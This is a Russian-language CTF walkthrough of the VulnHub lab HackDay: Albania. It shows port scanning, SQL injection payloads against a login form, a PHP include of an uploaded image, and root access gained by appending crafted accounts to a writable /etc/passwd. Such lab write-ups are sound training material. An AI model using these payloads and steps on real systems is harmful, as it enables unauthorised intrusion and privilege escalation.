VulnHub Разбор HackDay: Albania

Автор: admin от 18-12-2016, 00:35, посмотрело: 236

Продолжаем разбор лаб с VulnHub. На этот раз займемся HackDay: Albania. К образу имеется следующее описание, из которого видно, что это таск с HackDay Albania's 2016 CTF
This was used in HackDay Albania's 2016 CTF.
The level is beginner to intermediate.
It uses DHCP.
Note: VMware users may have issues with the network interface doing down by default. We recommend (for once!) using Virtualbox.

Таск как и прошлый рассчитан на новичков. Поэтому в некоторые моменты в статье будут рассмотрены более подробно.

Начнём


Запускаем скачанный образ в VirtualBox, и после загрузки nmap'ом ищем открытые порты:

sudo nmap 192.168.1.1-255 -sV

Starting Nmap 7.01 ( nmap.org ) at 2016-12-18 00:03 MSK
Nmap scan report for 192.168.1.44
Host is up (0.0013s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
8008/tcp open http Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:98:0D:5F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Переходим по 192.168.1.44:8008 видим всплывающее окно

VulnHub Разбор HackDay: Albania

И коммент в коде страницы:
OK ok, por jo ketu :)

Посмотрим содержимое файла robots.txt


Попробовав перейти зайти в одну из этих директорий нам открывается файл index.html, с вот такой картинкой:

VulnHub Разбор HackDay: Albania
background.jpg

Воспользовавшись переводчиком, понимаем что это не та директория. Для проверки всех, воспользуемся следующим скриптом для dirsearch.

Запускаем:

sudo python3 robotscan.py -u http://192.168.1.44:8008 -e php,txt,html,json,bak,jpg -x 403 -w /usr/share/dirb/wordlists/big.txt

После завершения сканирования, видим что в одной из директорий /unisxcudkqjydw/ отсутствует файл background.jpg

VulnHub Разбор HackDay: Albania

После перехода в эту директорию в браузере видим такой ответ:
IS there any /vulnbank/ in there ???

Смотрим содержимое директории /vulnbank/ и далее попадаем на страницу авторизации:

VulnHub Разбор HackDay: Albania

Проверяем наличие sql инъекций:

sudo sqlmap -u 'http://192.168.1.44:8008/unisxcudkqjydw/vulnbank/client/login.php' --data='username=admin&password=admin' --random-agent --level=5 --risk=3

И получаем ответ:
sqlmap resumed the following injection point(s) from stored session:
— Parameter: username (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind — WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: username=admin' RLIKE (SELECT (CASE WHEN (9555=9555) THEN 0x61646d696e ELSE 0x28 END))-- pSKE&password=admin

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 RLIKE time-based blind
Payload: username=admin' RLIKE SLEEP(5)-- DBgy&password=admin

Попытки сдампить содержимое таблиц к успеху не привели, sqlmap на всё выдавал ошибку: [CRITICAL] unable to retrieve the number of database users.

Пробуем вручную выполнить запрос с данными: username=admin' RLIKE SLEEP(5)-- DBgy&password=admin

И нас неожиданно редиректит в профиль какого-то пользователя:


Отлично! Нам доступна возможность загрузки файла, пробуем что-то залить, и в ответ получаем сообщение:
After we got hacked we our allowing only image files to upload such as jpg, jpeg, bmp etc...

Ок, создаём файл


Заливаем, и получаем сообщение, что всё прошло успешно. Загруженный файл попадает в директорию upload, а так же доступен по ссылке:

192.168.1.44:8008/unisxcudkqjydw/vulnbank/client/view_file.php?filename=shell.jpg&cmd=id.

Но вместо заветного шела получаем сообщение:
Warning: system(): Unable to fork [id] in /var/www/html/unisxcudkqjydw/vulnbank/client/upload/shell.jpg on line 1

Попробовав несколько вариантов, обнаруживаем, что перед нами самый обычный php инклуд, без возможности выполнить системные команды.


Можем вытянуть из БД клиентов и их пароли:


Просматривая файлы и директории обнаруживаем такую запись:
passwd 1.58 KB root:root -rw-r--rw- 22-Oct-2016 17:21:42

Отлично, мы можем создать пользователя. Создаём свой хеш пароля admin:

openssl passwd -1 -salt xyz admin

Далее вставляем через имеющийся у нас шелл вставляем в файл /etc/passwd такую запись

gh0st3rs:$1$admin$1kgWpnZpUx.vTroWPXPIB0:1001:0:GH0st3rs:/:/bin/bash
admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0:admin:/:/bin/bash

P.S. Добавляем двух пользователей, потому что коннект по ssh от рута у нас не был доступен. Можно было добавить только рута, и все остальные действия делать залогинившись в виртуалке, но мне удобнее ssh.

Коннектимся по ssh под пользователем gh0st3rs, далее выполняем команду

su admin

И после ввода пароля, получаем root привилегии на этой виртуальной машине

Дело за малым, осталось найти флаг.

root@hackday:/# find / -name "*flag*"
root@hackday:/# cat /root/flag.txt
Urime, 
Tani nis raportin!

d5ed38fdbf28bc4e58be142cf5a17cf5
root@hackday:/# 

P.S. После расшифровки, узнаём что флаг это md5 от rio

Источник: Хабрахабр

Категория: Информационная безопасность

Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

Добавление комментария

Имя:*
E-Mail:
Комментарий:
Полужирный Наклонный текст Подчеркнутый текст Зачеркнутый текст | Выравнивание по левому краю По центру Выравнивание по правому краю | Вставка смайликов Выбор цвета | Скрытый текст Вставка цитаты Преобразовать выбранный текст из транслитерации в кириллицу Вставка спойлера
Введите два слова, показанных на изображении: *